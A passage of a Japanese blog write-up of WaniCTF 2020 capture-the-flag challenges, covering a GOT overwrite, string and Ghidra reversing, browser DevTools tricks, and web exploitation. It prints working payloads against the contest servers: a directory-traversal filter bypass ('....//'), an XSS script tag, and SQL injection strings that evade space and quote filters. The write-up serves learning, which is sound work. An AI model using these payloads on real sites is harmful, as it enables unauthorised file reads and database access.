    puts("Welcome to GOT rewriter!!!");
    printf("win = 0x%lx\n", (unsigned long int)win);
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

この問題もwin関数を呼び出せば勝ち、プログラムからは呼ばれないので問題文の通りgot overwriteで他のプログラム上callされるシステム関数の飛ばし先をwinのアドレスに書き換えてあげる。

なんと無理やりどこかの脆弱性をついて書き換えたりしなくてもプログラム中で指定したアドレスに書き換えてくれるらしい。なんと親切な。今回はprintfを書き換えてみよう。

ヒントで与えられたコマンドを実行して、winprintfのアドレスを調べます。

$ objdump -d -M intel ./pwn04 | grep win
0000000000400807 <win>:
  4009a6:   48 8d 05 5a fe ff ff    lea    rax,[rip+0xfffffffffffffe5a]        # 400807 <win>
$ objdump -d -M intel ./pwn04 | grep printf
00000000004006d0 <printf@plt>:
  4006d0:   ff 25 62 09 20 00       jmp    QWORD PTR [rip+0x200962]        # 601038 <printf@GLIBC_2.2.5>
  400850:   e8 7b fe ff ff          call   4006d0 <printf@plt>
  4008a8:   e8 23 fe ff ff          call   4006d0 <printf@plt>
  4008d4:   e8 f7 fd ff ff          call   4006d0 <printf@plt>
  4008f2:   e8 d9 fd ff ff          call   4006d0 <printf@plt>
  40094a:   e8 81 fd ff ff          call   4006d0 <printf@plt>
  400966:   e8 65 fd ff ff          call   4006d0 <printf@plt>
  4009bc:   e8 0f fd ff ff          call   4006d0 <printf@plt>

win関数はプログラム実行時にも教えてくれるけど念の為。

  • win: 0x400807
  • printf: 0x601038

後はプログラム実行時に、素直に上記を書き換えていただくようお願いするのみ。

$ nc got.wanictf.org 9004
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600e10-0x6010b0): 601038
Your input address is 0x601038.
Please input rewrite value: 400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}

このあたりの問題が類似問題。

[Reversing] strings [Beginner]

この問題ではLinuxのELF実行ファイル(バイナリ)である「strings」が配布されています。このバイナリは入力文字列をチェックし、正しいものかどうか判定する機能をもっています。

試しにFAKE{this_is_fake}と入力するとIncorrectと表示され、間違っている入力文字列であると示してくれます。

このバイナリが「正しい」と判定してくれる文字列を見つけ出してください。

ヒント:バイナリ解析のはじめの一歩は「表層解析」という手法です。

(このファイルを実行するためにはLinux環境が必要となりますのでWSLやVirtualBoxで用意してください)

$ file strings
strings: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=78a1aa79cb6ab262c29bc2302ac50dc5f29e4d78, not stripped

$ sudo chmod +x strings

$ ./strings
input flag : FAKE{this_is_fake}
Incorrect

Writer : hi120ki

はーこれも親切な問題文だ!
問題文の通り、stringsバイナリが配布されます。

stringsバイナリ内で、単純な文字列比較をしている場合はバイナリの中にflagが直接書かれてるでしょう、ということで、問題の意図とは違うけどlinux立ち上げるのめんどくさかったので

$ strings strings | grep FLAG
FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}

stringsコマンドでgrepしたらflag出てきました。

[Reversing] simple [Normal]

「strings」問題は表層解析でフラグを見つけることができましたが、この問題では同じようにフラグは見つからないようです。

次の手法は「動的解析」と「静的解析」です。

Linux実行ファイルの解析において動的解析の代表的なツールが「GDB」、静的解析の代表的なツールが「Ghidra」です。

それぞれ入門記事が多く公開されていますのでぜひ動的解析と静的解析にチャレンジしてみてください!

Writer : hi120ki

simpleバイナリが配布されます。
とりあえずGhidraに放り込んでみます。

main関数のdecompile結果はこんな感じ。

undefined8 main(void)

{
  size_t sVar1;
  undefined8 uVar2;
  char local_78 [4];
  undefined local_74;
  ...
  (~略~)
  char local_48 [60];
  uint local_c;
  
  printf("input flag : ");
  __isoc99_scanf(&DAT_00100922,local_48);
  sVar1 = strlen(local_48);
  if (sVar1 == 0x24) {
    local_78[0] = 'F';
    local_78[1] = 0x4c;
    local_78[2] = 0x41;
    local_78[3] = 0x47;
    local_74 = 0x7b;
    local_73 = 0x35;
    local_72 = 0x69;
    local_71 = 0x6d;
    local_70 = 0x70;
    local_6f = 0x31;
    local_6e = 0x65;
    local_6d = 0x5f;
    local_6c = 0x52;
    local_6b = 0x65;
    local_6a = 0x76;
    local_69 = 0x65;
    local_68 = 0x72;
    local_67 = 0x73;
    local_66 = 0x31;
    local_65 = 0x6e;
    local_64 = 0x67;
    local_63 = 0x5f;
    local_62 = 0x34;
    local_61 = 0x72;
    local_60 = 0x72;
    local_5f = 0x61;
    local_5e = 0x79;
    local_5d = 0x5f;
    local_5c = 0x35;
    local_5b = 0x74;
    local_5a = 0x72;
    local_59 = 0x69;
    local_58 = 0x6e;
    local_57 = 0x67;
    local_56 = 0x73;
    local_55 = 0x7d;
    local_c = 0;
    while (local_c < 0x24) {
      if (local_48[(long)(int)local_c] != local_78[(long)(int)local_c]) {
        puts("Incorrect");
        return 1;
      }
      local_c = local_c + 1;
    }
    printf("Correct! Flag is %s\n",local_48);
    uVar2 = 0;
  }
  else {
    puts("incorrect");
    uVar2 = 1;
  }
  return uVar2;
}

👍
16進数を上から順にascii変換すればOK。Fから始まって途中に{である0x7b}である0x7dが最後に出てきていることからも明らか。

16進のところだけ切り出して、単純な返還なのでCyberChefに突っ込んだらflagが出ました。(冒頭にFを追加する)

f:id:kusuwada:20201123220303p:plain

[Web] DevTools_1 [Beginner]

ブラウザの開発者ツールを使ってソースコードをのぞいてみましょう!

https://devtools1.wanictf.org

Writer : suuhito

指定されたurlを訪れてみると、こんなメッセージが。

f:id:kusuwada:20201123220354p:plain

問題文の通りソースコードをChrome開発者ツールで見てみると

f:id:kusuwada:20201123220359p:plain

コメントにFlagがありました。

[Web] DevTools_2 [Easy]

開発者ツールを使うと表示を書き換えることができます。

5000兆円欲しい!

(5000000000000000円持っていることにするとフラグを手に入れることができます。)

https://devtools2.wanictf.org

Writer : suuhito

なんて親切な問題文!
先程同じく、指定されたurlを訪れてみます。
画面はさっきと同じ。

問題文から、Chrome開発者ツールを開き、Elementsタブを開きます。
「あなたの総資産は0円です!」の0を、問題文の通り5000000000000000に書き換えます。

f:id:kusuwada:20201123220406p:plain

Enterして、ページをリロードすると、Flagのalert windowが開きました!

f:id:kusuwada:20201123220439p:plain

[Web] Simple Memo [Beginner]

問題ページ:https://simple.wanictf.org/

flag.txtというファイルに私の秘密を隠したが、 完璧にサニタイズしたため辿りつける訳がない。

(Hint) ディレクトリトラバーサルという脆弱性です。

何がサニタイズされているかを知るためにソースコード(reader.php)を参考にしてみてください。

(注意)

simple_memo.zipは問題を解くために必須の情報ではなく、docker-composeを利用してローカルで問題環境を再現するためのものです。

興味のある方は利用してみてください。

フムフム。またこれ親切な問題文!
reader.phpsimple_memo.zipが配布されますが、不要らしいので今回は左のphpのみ記載。zipは問題の理解とかに役立つので有り難いですね!

<?php
function reader($file) {
  $memo_dir = "./memos/";

  // sanitized
  $file = str_replace('../', '', $file);
  
  $filename = $memo_dir . $file;
  $memo_exist = file_exists($filename);
  if ($memo_exist) {
    $content = file_get_contents($filename);
  } else {
    $content = "No content.";
  }
  return $content;
}
?>

問題urlを訪れるとこんなページ。

f:id:kusuwada:20201123220530p:plain

重要なメモに重要な情報が。

f:id:kusuwada:20201123220604p:plain

ということで、問題文とこのメモから、flag.txtをディレクトリトラバーサルすれば良さそう。
ここで言っているサニタイズは str_replace('../', '', $file)のことと思われる。

ただのreplaceなので、....// のように入力すると、あいだの../が削られて、外側の../が残る。

https://simple.wanictf.org/index.php?file=....//flag.txt でflagが出てきた。

f:id:kusuwada:20201123220516p:plain

[Web] striped table [Easy]

テーブルの行の背景色をストライプにする作業をしてもらったら、こんなことになってしまいました!

ページにjavascriptalert(19640503)を埋め込み実行させるとフラグが得られます。

https://striped.wanictf.org/?sourceにアクセスするとソースが閲覧できます。

https://striped.wanictf.org

Writer : suuhito

これも親切な問題文!問題のurlを訪れてみます。
どうやらメモを作るシンプルなアプリのようです。一通りメモを作成・一覧を表示してみました。

f:id:kusuwada:20201123220626p:plain

メモを作る際にタイトルと本文、にユーザーが入力できるようになっていること、問題文から一覧をみるときにストライプの色を付けるときにscriptを実行させるような脆弱性が埋め込まれたと予想できることから、下記の攻撃スクリプトをタイトル・本文の両方に入れてmemoを作成します。(コードをちゃんと読めばタイトル・本文どっちに入れるべきか、どこでスクリプトが実行されるのかはわかるはず)

<script>alert(19640503);</script>

f:id:kusuwada:20201123220642p:plain

で、一覧表示に戻るとスクリプトが実行され、flagが表示されました。

f:id:kusuwada:20201123220628p:plain

[Web] SQL Challenge 1 [Normal]

問題ページ: https://sql1.wanictf.org/index.php?year=2011

今まで見たアニメのリストをデータベースに登録したよ。間違えて秘密の情報(FLAG)もデータベースに登録しちゃったけど、たぶん誰にも見られないし大丈夫だよね。

(Hint)

SQL injectionの問題です。

URLの「year=」の後に続く数字(年号)をSQL injectionを起こすような文字列に変更するとFLAGが表示されます。

一部使えない文字もあるのでソースコード(index.php)を参考に考えてみてください。

必要に応じてデータベースのスキーマ(1_schema.sql)も参考にしてください。

(注意)

sql-chall-1.zipは問題を解くために必須の情報ではなく、docker-composeを利用してローカルで問題環境を再現するためのものです。

興味のある方は利用してみてください。

Writer : nkt

本当に親切な問題だなぁ!今度はSQL injection。
index.php1_schema.sqlsql-chall-1.zipが配布されますが、最後のは問題を特には不要らしいので前の2つを見ます。まずはスキーマ。

DROP TABLE IF EXISTS anime;

CREATE TABLE anime (
    name VARCHAR(32) NOT NULL,
    years INT(32) NOT NULL,
    PRIMARY KEY (name)
);

問題サイトに訪れてみると、各年のアニメがズラリ。詳しくないのでよくわからないけど、多いな!!!

f:id:kusuwada:20201123220731p:plain

SQL injection問題と大ヒントがあること、ソースコードもスキーマも公開されているので、問題なさそう。

問題コードのここが注目ポイント。

//urlの"year="の後に入力した文字列を$yearに入れる。
$year = $_GET["year"];

//一部の文字は利用出来ません。以下の文字を使わずにFLAGを手に入れてください。
if (preg_match('/\s/', $year))
    exit('危険を感知'); //スペース禁止
if (preg_match('/[\']/', $year))
    exit('危険を感知'); //シングルクォート禁止
if (preg_match('/[\/\\\\]/', $year))
    exit('危険を感知'); //スラッシュとバックスラッシュ禁止
if (preg_match('/[\|]/', $year))
    exit('危険を感知'); //バーティカルバー禁止                    

//クエリを作成する。
$query = "SELECT * FROM anime WHERE years =$year";

//debug用にhtmlのコメントにクエリを表示させる。
echo "<!-- debug : ", htmlspecialchars($query), " -->\n";

//結果を表示させる。
if ($result = $mysqli->query($query)) {
    while ($row = $result->fetch_assoc()) {
        echo '<tr><th>' . $row['name'] .  '</th><th>' . $row['years'] . '</th></tr>';
    }
    $result->close();
}
?>

お、親切にもdebugでコメントに実際実行したクエリを表示してくれるらしい。開発者ツールで確認しながら実行できる。

f:id:kusuwada:20201123220750p:plain

結構フィルターされている文字があるので注意。
"year=xxx" でフィルタされていない、とにかくすべてのレコードを出してもらうようなクエリを、禁止ワードを用いずに組み立てる。

目指すクエリは

SELECT * FROM anime WHERE years =2016 or 1=1;

スペースを使ってしまっているので、カッコで区切りを代用。

SELECT * FROM anime WHERE years =(2016)or(1=1)

これを実現するために

?year=(2016)or(1=1)

をクエリに入れると、無事全部出たみたい🙌

f:id:kusuwada:20201123220754p:plain

year=930375071 のレコードにfalgがいました。

[Web] SQL Challenge 2 [Hard]

問題ページ: https://sql2.wanictf.org/index.php?year=2011

やっぱり前のページは危ない気がするからページを作り直したよ。これで大丈夫だね。

(Hint)

SQL injectionの問題です。

必要に応じてソースコード(index.php)とデータベースのスキーマ(1_schema.sql)を参考にしてください。

(注意)

sql-chall-2.zipは問題を解くために必須の情報ではなく、docker-composeを利用してローカルで問題環境を再現するためのものです。

興味のある方は利用してみてください。

Writer : okmt, nkt

テーブルのschemaは1と同じ。サイトの機能や見た目も1と同じ。
危険文字のフィルタが変わっている。

//preg_replaceで危険な記号を処理する。
$pattern = '/([^a-zA-Z0-9])/';
$replace = '\\\$0';
$year = preg_replace($pattern, $replace, $year);

これでa-zA-Z0-9以外の文字列は、\でエスケープされてしまいます。
さっきの (2016)or(1=1) を入力してみると、debugコメントに

SELECT * FROM anime WHERE years = \(2016\)or\(1\=1\)

と表示されていました。なるほど。

いろいろ考えてみたけど、いい案を思いつかなかったので、「もしかしたらyearのschema、numberじゃなくてvarcharだったし、文字列の可能性あるかも?そしたら0突っ込んだら無条件で一致するかも?」
year = 0 を入れてみたらビンゴだった👍

f:id:kusuwada:20201123220825p:plain

感想など

問題も非常に丁寧で、初めて練習問題以外のCTF大会に出る人とかとても良かったのではと思いました。サイトもかっこいいし、私の知る限りでは安定して運用されていたように思います。
また来年もあったら参加したいなぁ!

個人的には、全員ソロ参加でオールジャンル+難易度低めという条件が自分にかなり合っていたのもあり、とても楽しめました!いつもなら週末開催のCTFは参加しないのですが、本当に参加してよかったです。

が、いかんせん幼児保護者としては休日なかなか時間が取れない…。私のレベルではHardやPwn系はまだまだじっくり時間をかけないと解けないので、手がつけられなかった&「あー!こうしたら解けそうだけど時間が足りなさすぎる!」な問題も結構ありました。CryptoもReversingもPwnもForensicsも、得意の力押しでもう少し取り組めた気がする…。「じっくり取り組んで自分がステップアップできそうな問題」に取り組めなかったのが心残り。復習しよう!

ところで Wani Hackase 、今更ですがネーミングセンス良すぎじゃないですか?
HackとHakase(ワニ博士は阪大のマスコットキャラクター)!皆まで説明すなって話ですけど感動したのでつい…。